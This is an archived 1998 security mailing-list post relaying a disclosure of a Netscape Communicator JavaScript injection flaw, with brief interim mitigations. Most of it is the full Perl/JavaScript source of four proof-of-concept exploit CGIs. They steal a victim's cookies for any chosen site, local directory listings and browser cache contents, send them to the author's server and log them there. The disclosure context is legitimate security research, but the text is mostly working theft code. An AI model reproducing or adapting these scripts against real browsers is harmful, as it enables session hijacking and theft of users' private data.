more Netscape 4.07 javascript security

From: Max Vision (visionat_private)
Date: Thu Oct 08 1998 - 15:10:39 PDT

  • Next message: Nick Andrew: "Re: Possible DoS in rsh"

    Hello all,
    
    Dan Brumleve <nothingat_private> recently discovered even more javascript
    security problems with Netscape (including 4.07).  The information below
    was posted to comp.lang.javascript and comp.security.misc a few days ago,
    but I didn't see mention of it here yet, and it seems pretty timely.
    
    Probably the most direct threat regarding cache theft is recent CGI
    submissions using the GET directive.  Most people would be surprised at
    what lurks in their cache.  http://foo/cgi-bin/enter.cgi?user=bar&pass=x
    
    I've found that the best interim fix is to clear your cache, and then set
    both disk and memory cache sizes to zero.  If you don't like this then you
    have alternatives:
     o do nothing
     o disable javascript
     o switch it IE for awhile
    
    --Dan's Usenet Posting---------------
    I've discovered yet another Netscape security hole.  It appears to affect
    all versions of Communicator, including 4.07 which was just released to
    plug Cache-Cow.
    
    The problem is that it's still possible to inject foreign JavaScript
    code into arbitrary documents.  This has numerous evil applications.
    To illustrate some of them, I've written four exploitative programs.
    
    cookie-monster.cgi will steal cookies from arbitrary locations;
    this is very bad since cookies have been widely deployed for
    authentication purposes.  The script will prompt you for a URL,
    and retrieve all cookies issued to you by that site.
    
    file-list.cgi will steal the contents of a local directory on your
    hard drive.  The script will prompt you for a directory name, and
    retrieve the names of all the files contained it.
    
    file-list-old.cgi is a version of file-list.cgi modified to work
    on Netscape 4.01.
    
    cache-cow-4.07.cgi will steal the contents of your cache.  It has
    precisely the same effect as the exploit announced last week.
    
    Source and demonstrations are available at:
    http://www.shout.net/~nothing/son-of-cache-cow/index.html
    
    Dan Brumleve <nothingat_private>
    --End Usenet Posting-----------------
    
    And the sources (fairly small):
    
    
    #!/usr/bin/perl
    #
    # cache-cow-4.07.cgi -- Dan Brumleve <nothingat_private>, 1998.10.05
    
    use CGI qw(escape unescape);
    
    my $self =
    "http://www.shout.net/nothing/son-of-cache-cow/cache-cow-4.07.cgi";
    
    my $cgi = new CGI;
    my $action = $cgi->param("action");
    
    if (!$action) {
      print "Content-type: text/html\n\n" . <<"  EOF";
      <html>
      <head><title>Cache-Cow 4.07</title></head>
      <body bgcolor=#ffffff>
      <h1>Cache-Cow 4.07</h1>
      <form action="$self" method="post">
      <input type=hidden name=action value=launch>
      <input type=submit value="Give Dan Your Cache">
      </form>
      </body>
      </html>
      EOF
      exit 0;
    }
    
    if ($action eq "launch") {
      my $q = escape($cgi->param("q"));
      print "Content-type: text/html\n\n" . <<"  EOF";
      <title>Cache-Cow 4.07 (activated)</title>
      <script>
      var slave;
      var data = "";
    
      function report() {
        slave.location="$self?action=yum";
      }
    
      function lump() {
        slave.onload = report;
      }
    
      function launch() {
        slave = window.open("javascript:void(0)", "slave");
        document.f.submit();
        slave.onunload=lump;
      }
    
      function show() {
        document.g.urls.value = data;
        document.g.submit();
      }
    
      </script>
      <body onLoad="launch()" onUnload="show()">
    
      <base href="about:">
    
      <form action="cache" method="post" name=f target=slave>
      <input type=submit></form>
      <form action="$self" method="post" name=g>
      <input type=hidden name=action value=show>
      <input type=hidden name=urls value="">
      <input type=submit>
      </form>
      </body>
      EOF
    
      exit 0;
    }
    
    if ($action eq "yum") {
      print "Content-type: application/x-javascript\n\n" . <<"  EOF";
      var s = "";
      for (i = 0; i < document.links.length; i++) {
        s += escape(document.links[i].href) + "&";
      }
      window.opener.data = s;
      window.opener.location = "javascript:1";
      window.close();
      EOF
      exit 0;
    }
    
    if ($action eq "show") {
      my $urls = join("\n", map {
       $_ = unescape($_); s/^about://; $_ } split(/&/,$cgi->param("urls")));
      if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
        for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
        print FP "\n" . $urls . "\n\n";
        close(FP);
      }
      print "Content-type: text/plain\n\n" . <<"  EOF";
    Here are the URLs retrieved from your browser:
    
    $urls
      EOF
    
      exit 0;
    }
    
    
    
    #!/usr/bin/perl
    #
    # cookie-monster.cgi -- Dan Brumleve <nothingat_private>, 1998.10.05
    
    use CGI qw(escape unescape);
    
    my $self =
    "http://www.shout.net/nothing/son-of-cache-cow/cookie-monster.cgi";
    
    my $cgi = new CGI;
    my $action = $cgi->param("action");
    
    if (!$action) {
      print "Content-type: text/html\n\n" . <<"  EOF";
      <html>
      <head>
      <title>Cookie Monster</title>
      </head>
      <body bgcolor=#ffffff>
      <h1>Cookie Monster</h1>
      <form action="$self" method="get">
      Enter a fully-qualified URL:
      <input type=text name=q size=50
    value="http://www.netscape.com/products/security/"><br>
      <input type=hidden name=action value=launch>
      <input type=submit value="Give Dan Your Cookies">
      </form>
      </body>
      </html>
      EOF
      exit 0;
    }
    
    if ($action eq "launch") {
      my $q = escape($cgi->param("q"));
      print "Content-type: application/x-javascript\n\n" . <<"  EOF";
      var slave;
    
      function report() {
        slave.onunload = null;
        slave.onload = null;
        slave.location = "$self" + "?" + "action=" + escape("yum");
      }
    
      function launch(x) {
        var q = unescape(x);
        slave = window.open(q, "slave");
    
        slave.onload = report;
      }
    
      launch('$q');
      EOF
    
      exit 0;
    }
    
    if ($action eq "yum") {
      print "Content-type: application/x-javascript\n\n" . <<"  EOF";
      var l = "$self" + "?" +
       "action=" + escape("show") + "&" +
       "location=" + escape(location) + "&" +
       "cookie=" + escape(document.cookie);
      window.opener.location = l;
      window.close();
      EOF
      exit 0;
    }
    
    if ($action eq "show") {
      my $location = $cgi->param("location");
      my $cookie = $cgi->param("cookie");
      if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
        for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
        print FP "\n";
        print FP escape($location) . ": " . escape($cookie) . "\n\n";
        close(FP);
      }
      print "Content-type: text/plain\n\n" . <<"  EOF";
      Cookies retrieved from "$location":
    
      $cookie
      EOF
    
      exit 0;
    }
    
    
    
    #!/usr/bin/perl
    #
    # file-list.cgi -- Dan Brumleve <nothingat_private>, 1998.10.05
    
    use CGI qw(escape unescape);
    
    my $self = "http://www.shout.net/nothing/son-of-cache-cow/file-list.cgi";
    
    my $cgi = new CGI;
    my $action = $cgi->param("action");
    my $default = ($ENV{HTTP_USER_AGENT} =~ /win/i) ? "c:" : "/";
    
    if (!$action) {
      print "Content-type: text/html\n\n" . <<"  EOF";
      <html>
      <head><title>File List</title></head>
      <body bgcolor="#ffffff">
      <h1>File List</h1>
      <form action="$self" method="get">
      <input type=hidden name=action value=launch>
      Enter a local directory name:
      <input type=text name=q size=50 value="$default"><br>
      <input type=submit value="Give Dan Your Directory Listing">
      </form>
      </body>
      </html>
      EOF
    }
    
    if ($action eq "launch") {
      my $q = escape($cgi->param("q"));
      $q =~ /^\%2F/ or $q = "%2F" . $q;
      $q =~ /\%2F$/ or $q = $q . "%2F";
      print "Content-type: text/html\n\n" . <<"  EOF";
      <title>File List (activated)</title>
      <script>
      var slave;
      var data = "";
    
      function report() {
        slave.location="$self?action=yum";
      }
    
      function lump() {
        slave.onload = report;
      }
    
      function launch() {
        slave = window.open("javascript:void(0)", "slave");
        document.f.submit();
        slave.onunload=lump;
      }
    
      function show() {
        document.g.files.value = data;
        document.g.submit();
      }
    
      </script>
      <body onLoad="launch()" onUnload="show()">
    
      <form action="file:$q" method=get target=slave name=f><input
    type=submit></form>
      <form action="$self" method="post" name=g>
      <input type=hidden name=q value="$q">
      <input type=hidden name=action value=show>
      <input type=hidden name=files value="">
      <input type=submit>
      </form>
      </body>
      EOF
    
      exit 0;
    }
    
    if ($action eq "yum") {
      print "Content-type: application/x-javascript\n\n" . <<"  EOF";
      var s = "";
      for (i = 1; i < document.links.length; i++) {
        s += escape(document.links[i].href) + "&";
      }
      window.opener.data = s;
      window.opener.show();
      window.close();
      EOF
      exit 0;
    }
    
    if ($action eq "show") {
      my $q = unescape($cgi->param("q"));
      my $files = join("\n", map {
       $_ = unescape($_); s/^file://; unescape($_) }
       split(/&/,$cgi->param("files")));
      if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
        for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
        print FP "\n" . $files . "\n\n";
        close(FP);
      }
      print "Content-type: text/plain\n\n" . <<"  EOF";
    Contents of local directory '$q':
    
    $files
      EOF
    
      exit 0;
    }
    
    
    
    #!/usr/bin/perl
    #
    # file-list-old.cgi -- Dan Brumleve <nothingat_private>, 1998.10.05
    
    use CGI qw(escape unescape);
    
    my $self =
    "http://www.shout.net/nothing/son-of-cache-cow/file-list-old.cgi";
    
    my $cgi = new CGI;
    my $action = $cgi->param("action");
    my $default = ($ENV{HTTP_USER_AGENT} =~ /win/i) ? "c:" : "/";
    
    if (!$action) {
      print "Content-type: text/html\n\n" . <<"  EOF";
      <html>
      <head><title>File List</title></head>
      <h1>File List</h1>
      <body bgcolor="#ffffff">
      <form action="$self" method="get">
      <input type=hidden name=action value=launch>
      Enter a local directory name:
      <input type=text name=q size=5 value="$default"><br>
      <input type=submit value="Give Dan Your Directory Listing">
      </form>
      </body>
      </html>
      EOF
    }
    
    if ($action eq "launch") {
      my $q = escape($cgi->param("q"));
      $q =~ /^\%2F/ or $q = "%2F" . $q;
      $q =~ /\%2F$/ or $q = $q . "%2F";
      print "Content-type: text/html\n\n" . <<"  EOF";
      <head><title>File List (activated)</title></head>
      <script>
      var slave;
      var data = "";
    
      function report() {
        slave.location="$self?action=yum";
      }
    
      function lump() {
        slave.onload = report;
      }
    
      function launch(x) {
        slave = window.open("file:" + x, "slave");
        slave.onunload=lump;
      }
    
      function show() {
        document.g.files.value = data;
        document.g.submit();
      }
    
      </script>
      <body onLoad="launch('$q')" onUnload="show()">
    
      <form action="file:$q" method=get target=slave name=f><input
    type=submit></form>
      <form action="$self" method="post" name=g>
      <input type=hidden name=q value="$q">
      <input type=hidden name=action value=show>
      <input type=hidden name=files value="">
      <input type=submit>
      </form>
      </body>
      EOF
    
      exit 0;
    }
    
    if ($action eq "yum") {
      print "Content-type: application/x-javascript\n\n" . <<"  EOF";
      var s = "";
      for (i = 0; i < document.links.length; i++) {
        s += escape(document.links[i].href) + "&";
      }
      window.opener.data = s;
      window.opener.show();
      window.close();
      EOF
      exit 0;
    }
    
    if ($action eq "show") {
      my $q = unescape($cgi->param("q"));
      my $files = join("\n", map {
       $_ = unescape($_); s/^file://; unescape($_) }
    split(/&/,$cgi->param("files")));
      if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
        for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
        print FP "\n" . $files . "\n\n";
        close(FP);
      }
      print "Content-type: text/plain\n\n" . <<"  EOF";
    Contents of local directory '$q':
    
    $files
      EOF
    
      exit 0;
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:19:00 PDT